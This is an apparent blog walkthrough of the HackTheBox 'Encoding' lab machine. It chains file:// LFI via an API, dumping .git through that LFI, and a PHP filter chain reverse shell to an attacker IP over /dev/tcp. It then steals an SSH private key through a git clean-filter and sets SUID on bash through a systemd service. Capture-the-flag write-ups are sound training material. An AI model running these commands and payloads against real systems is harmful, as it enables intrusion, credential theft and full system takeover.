Friday, February 3, 2023

HTB - Encoding [Medium Box]

 Today we will be attempting to complete the Encoding- a medium box in hackthebox. We first try to do a Nmap Scan with the following command. We see port 22 and Port 80 Open. 

TARGET=10.129.86.1 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap  




We noticed the haxtables.htb as the hosts and now lets the hosts to the /etc/hosts file on our attacker machine. 

We also see another domain api.haxtables.htb in the webpage. Since there might be another set of domains (subdomains) we can run ffuf to bruteforce the dns. 


  ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://haxtables.htb/ -H "Host: FUZZ.haxtables.htb" -fw 246



We noticed another subdomain "image.haxtables.htb". lets add both the /etc/hosts. on browsing the haxtables.htb we noticed that api has some information, the one which is interesting for us is this example snippet. 

    import requests

    json_data = {
        'action': 'str2hex',
        'file_url' : 'http://example.com/data.txt'

    }

    response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
    print(response.text)


we can try to read /etc/passwd and see if we can exploit that api. Modify it to this. Make sure you escape the / when defining file. 

import requests
json_data = {
        'action': 'str2hex',
        'file_url' : 'file:///etc/passwd'

}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php',json=json_data)
print(response.text)


The str2hex gives the following result. 



Which gets converted to 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

running ffuf on image.haxtables.htb we found a git file. When we tried to use the git-dumper to dump the git file we noticed that there is 403 forbidden error is thrown. Lets try to investigate why this 403 error is happening. 


Lets use the LFI vulnerability to read the index.php and see why this is happening. 

/var/www/image/index.php

<?php 

include_once 'utils.php';

include 'includes/coming_soon.html';

?>

Lets look at utils.php if we see some juicy information. 

<?php

// Global functions

function jsonify($body, $code = null)
{
    if ($code) {
        http_response_code($code);
    }

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($body);

    exit;
}

function get_url_content($url)
{
    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "127.0.0.1") {
        echo jsonify(["message" => "Unacceptable URL"]);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    $url_content =  curl_exec($ch);
    curl_close($ch);
    return $url_content;

}

function git_status()
{
    $status = shell_exec('cd /var/www/image && /usr/bin/git status');
    return $status;
}

function git_log($file)
{
    $log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
    return $log;
}

function git_commit()
{
    $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
    return $commit;
}
?>

Now lets look at this file and see the interesting function named "get_url_content" it blocks if anything is other than 127.0.0.1, we have to use the LFI to download this GIT. 

we need to edit the git dumper to use the lfi. add the following line under line 170. 

curl -s 'http://api.haxtables.htb/v3/tools/string/index.php' -H 'Content-Type: application/json' --data-binary "{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}" | jq .data | xxd -ps -r > "$target"


 
Lets use the extractor to view contents of the git. We see that there is "action_handler.php".let use the git and see the contents of the action_handler.php 


action_handler.php 

<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);
} else {
    echo jsonify(['message' => 'No page specified!']);
}
?>

Code looks vulnerable to LFI since the page parameter is not getting sanitised or there is no blacklist or whitelist filter implementation, but we need something else to access this file and read the files and execute so that utils.php 127.0.0.1 filter is bypassed. 

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://haxtables.htb/FUZZ 


Running FFUF on the haxtables.htb we noticed handler.php. lets read this file through the initial api.haxtables.htb lfi 

 curl -s http://haxtables.htb/handler.php | jq
{
  "message": "Insufficient parameters!"
}

handler.php 

<?php
include_once '../api/utils.php';

if (isset($_FILES['data_file'])) {
    $is_file = true;
    $action = $_POST['action'];
    $uri_path = $_POST['uri_path'];
    $data = $_FILES['data_file']['tmp_name'];

} else {
    $is_file = false;
    $jsondata = json_decode(file_get_contents('php://input'), true);
    $action = $jsondata['action'];
    $data = $jsondata['data'];
    $uri_path = $jsondata['uri_path'];



    if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) 
    {
        echo jsonify(['message' => 'Insufficient parameters!']);
        // echo jsonify(['message' => file_get_contents('php://input')]);

    }

}

$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;

?>

We sent the following request and we were able to bypass the 127.0.0.1 limit on the util.php and gain the LFI. 



GET /handler.php HTTP/1.1
Host: haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/json 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 123

{
  "action": "",
  "data": "",
  "uri_path": "test@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}

We can use the php filter chain technique to gain the RCE. You can read about it here. We use the php gadget generator to generate the reverse shell payload. 

python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.10.16.15/443 0>&1\"')?>"

We send the payload and we got the reverse shell as www-data. 



running sudo -l 

www-data@encoding:~/image/actions$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on encoding:
    (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh

Lets have look at the file. 

www-data@encoding:~/image/actions$  cat /var/www/image/scripts/git-commit.sh
 cat /var/www/image/scripts/git-commit.sh
#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image add -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verify
fi


We can start by creating a script that reads the user’s id_rsa and deposits it as a key in /dev/shm

www-data@encoding:~$ echo "cat ~/.ssh/id_rsa > /dev/shm/key" > /tmp/readkey
www-data@encoding:~$ chmod +x /tmp/readkey
www-data@encoding:~$

In the directory /var/www/image we abuse the ident filter so that when executing the script the readkey that we create is executed

www-data@encoding:~/image$ git init
Reinitialized existing Git repository in /var/www/image/.git/
www-data@encoding:~/image$ echo '*.php filter=indent' > .git/info/attributes
www-data@encoding:~/image$ git config filter.indent.clean /tmp/readkey
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh
On branch master
Changes not staged for commit:
  (use "git add ..." to update what will be committed)
  (use "git restore ..." to discard changes in working directory)
modified:   actions/action_handler.php
modified:   index.php
modified:   utils.php
no changes added to commit (use "git add" and/or "git commit -a")
www-data@encoding:~/image$

We can now use the key in /dev/shm and login as svc user and get the user.txt 


Now lets recon for root. 

svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on encoding:
    (root) NOPASSWD: /usr/bin/systemctl restart *

We have sudo capabilities to create a service we can have suid assigned to the bash. 

echo '[Service] Type=oneshot ExecStart=chmod +s /bin/bash [Install] WantedBy=multi-user.target' > /etc/systemd/system/i0n.service

sudo systemctl restart i0n




Running bash -p will give you root and you can view the root.txt now :) 



No comments:

Post a Comment